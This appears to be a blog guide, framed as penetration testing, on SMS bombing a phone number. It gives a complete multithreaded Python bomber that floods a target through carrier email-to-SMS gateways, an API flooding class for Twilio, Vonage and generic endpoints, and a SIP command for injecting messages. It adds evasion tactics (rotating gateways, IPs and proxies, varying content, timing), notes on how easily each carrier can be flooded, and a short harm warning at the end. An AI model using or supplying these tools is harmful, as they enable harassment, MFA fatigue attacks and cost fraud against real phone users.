How To Do Mobile SMS Bombing (Guide)
- Biohazard

- 4 days ago
- 8 min read

SMS Bombing
Here's the complete SMS bombing methodology — testing carrier rate limiting, SMS gateway resilience, MFA flooding weaknesses, and telecom infrastructure under load. This is a guide on how to do mobile SMS bombing.
What You're Actually Testing
SMS bombing in a pentest context typically targets one of these:
Scenario | What You Flood | What You Measure |
MFA fatigue / SMS pumping | Target phone number with auth codes | Whether the user approves MFA out of frustration |
SMS gateway capacity | Inbound SMS pipeline | Message throughput limits, queue behavior |
Rate limiting effectiveness | Carrier or Twilio-style API endpoint | When/if rate limiting kicks in |
User enumeration | Multiple numbers + observe behavior | Delivery vs. silent drop = valid vs. invalid number |
Toll fraud / premium SMS | Premium-rate numbers | Whether carrier allows premium SMS from your source |
Confirm the exact test objective before you start — the tools and metrics differ.
Method 1: Email-to-SMS Gateway Flooding
Every major carrier has an email-to-SMS gateway. This is the easiest vector because you're sending emails, and the carrier converts them to SMS. No SMS API needed.
Carrier Gateway Addresses (US)
Carrier | Email-to-SMS Gateway |
AT&T | |
T-Mobile | |
Verizon | |
Sprint | |
Google Fi | |
Mint Mobile | |
Boost Mobile | |
Cricket | |
US Cellular | |
Virgin Mobile | |
Xfinity Mobile | number@vtext.com (Verizon MVNO) |
Metro by T-Mobile |
Multi-Gateway Bomber Script
python
#!/usr/bin/env python3
"""
SMS bomber via email-to-SMS carrier gateways.
Tests carrier rate limiting and SMS pipeline capacity.
"""
import smtplib
import threading
import time
import random
import dns.resolver
from email.mime.text import MIMEText
from queue import Queue
class SMSBomber:
# Carrier gateways (US)
GATEWAYS = {
"att": "txt.att.net",
"tmobile": "tmomail.net",
"verizon": "vtext.com",
"sprint": "messaging.sprintpcs.com",
"googlefi": "msg.fi.google.com",
"mint": "mailmymobile.net",
"boost": "sms.myboostmobile.com",
"cricket": "sms.cricketwireless.net",
"uscellular":"email.uscc.net",
"metro": "mymetropcs.com",
}
def __init__(self, phone_number, threads=10, count=100, delay=0,
from_domain=None, message_template=None):
self.phone = phone_number
self.threads = threads
self.count = count
self.delay = delay
self.from_domain = from_domain or "pentest.local"
self.message_template = message_template or "SMS pentest message #{id}. Authorized security test."
self.queue = Queue()
self.sent = 0
self.failed = 0
self.gateway_stats = {g: {"sent": 0, "failed": 0} for g in self.GATEWAYS}
self.lock = threading.Lock()
# Cache MX records for all gateways
self.gateway_mx = {}
self._resolve_all_gateways()
def _resolve_all_gateways(self):
"""Pre-resolve MX for all carrier gateways."""
for name, domain in self.GATEWAYS.items():
try:
answers = dns.resolver.resolve(domain, 'MX')
servers = sorted(
[(str(r.exchange).rstrip('.'), r.preference) for r in answers],
key=lambda x: x[1]
)
self.gateway_mx[name] = servers
print(f"[*] {name}: {len(servers)} MX records")
except Exception as e:
print(f"[!] {name} ({domain}): MX lookup failed - {e}")
self.gateway_mx[name] = []
def _build_sms_email(self, idx, gateway_name):
"""Build an email addressed to the SMS gateway."""
gateway_domain = self.GATEWAYS[gateway_name]
to_addr = f"{self.phone}@{gateway_domain}"
# SMS gateways often truncate long messages and strip HTML
# Keep it under 160 chars for best deliverability
body = self.message_template.format(id=idx)
if len(body) > 160:
body = body[:157] + "..."
msg = MIMEText(body, 'plain', 'utf-8')
msg['From'] = f"sms-test-{random.randint(1000,9999)}@{self.from_domain}"
msg['To'] = to_addr
msg['Subject'] = f"Test {idx}" # Some gateways include subject in SMS body
msg['Message-ID'] = f"<sms{idx:x}{random.randint(10000,99999)}@{self.from_domain}>"
return msg
def _send_via_gateway(self, idx, gateway_name):
"""Send one SMS via a specific carrier gateway."""
mx_list = self.gateway_mx.get(gateway_name, [])
if not mx_list:
return False
msg = self._build_sms_email(idx, gateway_name)
# Try MX servers in priority order
for mx_host, _ in mx_list[:3]: # Only try top 3
try:
with smtplib.SMTP(mx_host, 25, timeout=10) as server:
server.helo(self.from_domain)
server.sendmail(msg['From'], msg['To'], msg.as_string())
return True
except Exception:
continue
return False
def _worker(self, thread_id):
"""Pick a random gateway and send."""
active_gateways = [g for g, mx in self.gateway_mx.items() if mx]
if not active_gateways:
print("[!] No gateways available with MX records")
return
while not self.queue.empty():
try:
idx = self.queue.get_nowait()
except:
break
# Rotate through gateways randomly to avoid single-gateway throttling
gw = random.choice(active_gateways)
success = self._send_via_gateway(idx, gw)
with self.lock:
if success:
self.sent += 1
self.gateway_stats[gw]["sent"] += 1
else:
self.failed += 1
self.gateway_stats[gw]["failed"] += 1
total = self.sent + self.failed
if total % 20 == 0:
print(f"\r[*] {total}/{self.count} (sent:{self.sent} failed:{self.failed})", end="")
if self.delay > 0:
time.sleep(self.delay + random.uniform(0, self.delay * 0.3))
self.queue.task_done()
def run(self):
print(f"[*] Target: {self.phone}")
print(f"[*] Messages: {self.count} | Threads: {self.threads} | Delay: {self.delay}s")
print(f"[*] Active gateways: {sum(1 for mx in self.gateway_mx.values() if mx)}")
for i in range(self.count):
self.queue.put(i)
threads = []
for t in range(self.threads):
th = threading.Thread(target=self._worker, args=(t,))
th.daemon = True
th.start()
threads.append(th)
start = time.time()
self.queue.join()
elapsed = time.time() - start
print(f"\n\n[*] Complete in {elapsed:.1f}s")
print(f"[*] Sent: {self.sent} | Failed: {self.failed}")
print(f"[*] Rate: {self.sent/elapsed:.1f} SMS/sec")
print("\n[*] Per-Gateway Stats:")
for gw, stats in sorted(self.gateway_stats.items()):
total = stats['sent'] + stats['failed']
if total > 0:
print(f" {gw:12s}: {stats['sent']:4d} sent, {stats['failed']:4d} failed")
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(description="SMS Bomber - Pentest Tool")
parser.add_argument("-n", "--number", required=True, help="Target phone number (10 digits)")
parser.add_argument("-c", "--count", type=int, default=100, help="Number of SMS messages")
parser.add_argument("-T", "--threads", type=int, default=10, help="Concurrent threads")
parser.add_argument("-d", "--delay", type=float, default=0.5, help="Delay between messages")
parser.add_argument("-m", "--message", default="SMS pentest #{id}. Authorized test.",
help="Message template (use {id} for counter)")
parser.add_argument("-f", "--from-domain", default="pentest.local",
help="Domain for sender addresses")
args = parser.parse_args()
# Strip non-numeric characters from phone number
phone = ''.join(c for c in args.number if c.isdigit())
if len(phone) != 10:
print("[!] Phone number must be 10 digits")
exit(1)
bomber = SMSBomber(
phone_number=phone,
threads=args.threads,
count=args.count,
delay=args.delay,
from_domain=args.from_domain,
message_template=args.message
)
bomber.run()
Usage:
bash
# Basic test: 500 SMS across all gateways
python3 smsbomber.py -n 5551234567 -c 500 -T 20
# Slow burn over time (1 SMS every 3 seconds for an hour = 1200 SMS)
python3 smsbomber.py -n 5551234567 -c 1200 -d 3 -T 1
# Fast burst: test rate limiting
python3 smsbomber.py -n 5551234567 -c 100 -d 0 -T 50Method 2: SMS API Flooding (Twilio / Vonage / Plivo Style)
If the target uses an SMS provider API, you can flood through the API directly — useful when you have legitimate API credentials (testing internal abuse scenarios) or when testing an unauthenticated SMS-sending endpoint.
python
#!/usr/bin/env python3
"""
SMS flood via REST API - for testing API rate limiting and abuse controls.
Supports Twilio, Vonage, Plivo, and generic webhook endpoints.
"""
import requests
import threading
import time
import random
from queue import Queue
class APISMSBomber:
def __init__(self, target_number, count=100, threads=10, delay=0):
self.target = target_number
self.count = count
self.threads = threads
self.delay = delay
self.queue = Queue()
self.sent = 0
self.failed = 0
self.responses = {} # Track response codes
self.lock = threading.Lock()
# ===== Twilio =====
def send_twilio(self, account_sid, auth_token, from_number):
"""Send via Twilio API."""
for i in range(self.count):
try:
r = requests.post(
f"https://api.twilio.com/2010-04-01/Accounts/{account_sid}/Messages.json",
auth=(account_sid, auth_token),
data={
"From": from_number,
"To": self.target,
"Body": f"Pentest SMS {i+1}/{self.count}"
},
timeout=10
)
self._record(r.status_code, "twilio")
except Exception as e:
self._record(0, "twilio")
time.sleep(self.delay or 0.1)
# ===== Vonage/Nexmo =====
def send_vonage(self, api_key, api_secret, from_name):
"""Send via Vonage SMS API."""
for i in range(self.count):
try:
r = requests.post(
"https://rest.nexmo.com/sms/json",
data={
"api_key": api_key,
"api_secret": api_secret,
"from": from_name,
"to": self.target,
"text": f"Pentest SMS {i+1}/{self.count}"
},
timeout=10
)
self._record(r.status_code, "vonage")
except Exception as e:
self._record(0, "vonage")
time.sleep(self.delay or 0.1)
# ===== Generic Webhook / Custom API =====
def send_generic(self, url, method="POST", headers=None, body_template=None,
auth=None, threads=10):
"""Flood a generic SMS-sending API endpoint."""
default_headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (compatible; Pentest/1.0)"
}
headers = {**default_headers, **(headers or {})}
body_template = body_template or {
"to": self.target,
"message": "Pentest SMS #{id}",
"sender": "TEST"
}
for i in range(self.count):
self.queue.put(i)
def worker():
while not self.queue.empty():
try:
idx = self.queue.get_nowait()
except:
break
body = json.loads(
json.dumps(body_template).replace("#{id}", str(idx))
)
try:
if method.upper() == "POST":
r = requests.post(url, json=body, headers=headers,
auth=auth, timeout=10)
else:
r = requests.get(url, params=body, headers=headers,
auth=auth, timeout=10)
self._record(r.status_code, "generic")
except Exception:
self._record(0, "generic")
if self.delay:
time.sleep(self.delay + random.uniform(0, self.delay * 0.2))
self.queue.task_done()
threads_list = []
for _ in range(threads):
t = threading.Thread(target=worker)
t.daemon = True
t.start()
threads_list.append(t)
self.queue.join()
def _record(self, status_code, source):
with self.lock:
if status_code:
self.sent += 1
else:
self.failed += 1
key = f"{source}:{status_code}"
self.responses[key] = self.responses.get(key, 0) + 1
def report(self):
print(f"\n[*] Results: {self.sent} sent, {self.failed} failed")
print("[*] Response distribution:")
for key, count in sorted(self.responses.items()):
print(f" {key}: {count}")Method 3: SIP-Based SMS Delivery
If the target telecom infrastructure exposes a SIP interface with SMS support (SMS over SIP, RFC 3428), you can inject SMS messages directly into the network core.
bash
# Using SIPp or sipsak for SMS over SIP
# SMS is sent as a SIP MESSAGE with content-type: text/plain
sipsak -M -s sip:+15551234567@ims.target.com \
-f sip:pentest@your-sip-server.com \
-B "Pentest SMS via SIP MESSAGE" \
-v
For bulk SIP SMS delivery, you'd script against the SIP interface. This is carrier-specific and requires understanding the IMS core architecture, but it's how telecom fraudsters pump SMS at scale — and it's what a proper telecom pentest should test.
Method 4: International Gateway Abuse
Many carriers have weaker filtering on international SMS interconnects. If your engagement scope allows:
python
# Target via international gateways with weaker filtering
INTL_GATEWAYS = {
"att_intl": "mms.att.net", # Sometimes less filtered
"tmobile_intl": "tmomail.net", # International path
# SMS aggregator interconnects (research per carrier)
}
# The key insight: many carriers apply different filtering
# to internationally-originated SMS vs domesticEvasion and Delivery Optimization
1. Gateway Rotation
Don't hit just one gateway. The script above rotates through all carriers. A single gateway might rate-limit you at 10 SMS/minute, but 10 gateways × 10/minute = 100 SMS/minute aggregate.
2. Sender Variation
Carriers track sender reputation by source address. Vary:
From: address domain
Source IP (use multiple VPS, proxies, or VPN exits)
Message content fingerprint
3. Content Crafting for Deliverability
SMS gateways filter on:
URLs in messages — expect blocks
Repeated identical content — add entropy
Sender address reputation — warm up slowly
Message length — keep under 160 chars (single SMS segment)
python
# Entropy injection for content variation
import uuid
def vary_message(template, idx):
variations = [
f"{template.format(id=idx)}",
f"{template.format(id=idx)} [{uuid.uuid4().hex[:4]}]",
f"{template.format(id=idx)}.",
f"{template.format(id=idx)}..",
f"[{idx}] {template.format(id=idx)}",
]
return random.choice(variations)
4. Timing Patterns
python
# Burst mode: max throughput
delay = 0
# Slow burn: 1 SMS every 2-5 seconds (looks like normal conversation)
delay = random.uniform(2, 5)
# Business hours simulation: higher volume during day
hour = datetime.now().hour
if 9 <= hour <= 17:
delay = random.uniform(1, 3)
else:
delay = random.uniform(5, 15)Measuring Results
During the test, track:
[*] Delivery Metrics:
- Sent count (your side)
- Soft bounce rate (temporary failures)
- Hard bounce rate (invalid numbers, blocked)
- Rate of 200/202 vs 429 (rate limited) responses
[*] Target Side (if you have access):
- SMS received count
- Time to first rate limit (when gateway started throttling)
- Queue depth on receiving SMS gateway
- CPU/memory on SMS processing infrastructure
Key metrics for your report:
Messages per second before rate limiting engaged
Percentage delivered vs. filtered
Which carrier gateways were most/least permissive
Whether messages resumed after a cooldown period
If the target user experienced MFA fatigue (behavioral — requires observation or user report)
Carrier-Specific Quirks
AT&T (txt.att.net): Aggressive rate limiting. Typically caps at 100-150 SMS/hour from a single source. Rotate source IPs.
T-Mobile (tmomail.net): Somewhat permissive on email-to-SMS. Slower delivery pipeline — messages can be delayed 30-90 seconds.
Verizon (vtext.com): Strict filtering. Repeated messages with similar content get silently dropped. Vary content heavily.
Google Fi (msg.fi.google.com): Uses Google's infrastructure. Very aggressive spam filtering. Hard to flood.
MVNOs (Mint, Cricket, Boost): Often relay through parent carrier gateways with independent filtering — sometimes weaker, sometimes stronger.
Warning: This Can Cause Real Harm
Even on an authorized test:
SMS is not free. If the target doesn't have unlimited SMS, you're costing them money. Carriers charge per message on some plans.
MFA flooding can lock accounts. Some services trigger account lockout after X failed MFA attempts.
Carriers may permanently block your sending infrastructure. Your source IPs, domains, and even the target number can get blacklisted.
911/text-to-911 interference is a possibility. Never, ever send test messages to numbers that could be emergency services.
Have a kill switch. Agree on a stop signal with the client. Make sure you can halt delivery within seconds.




Comments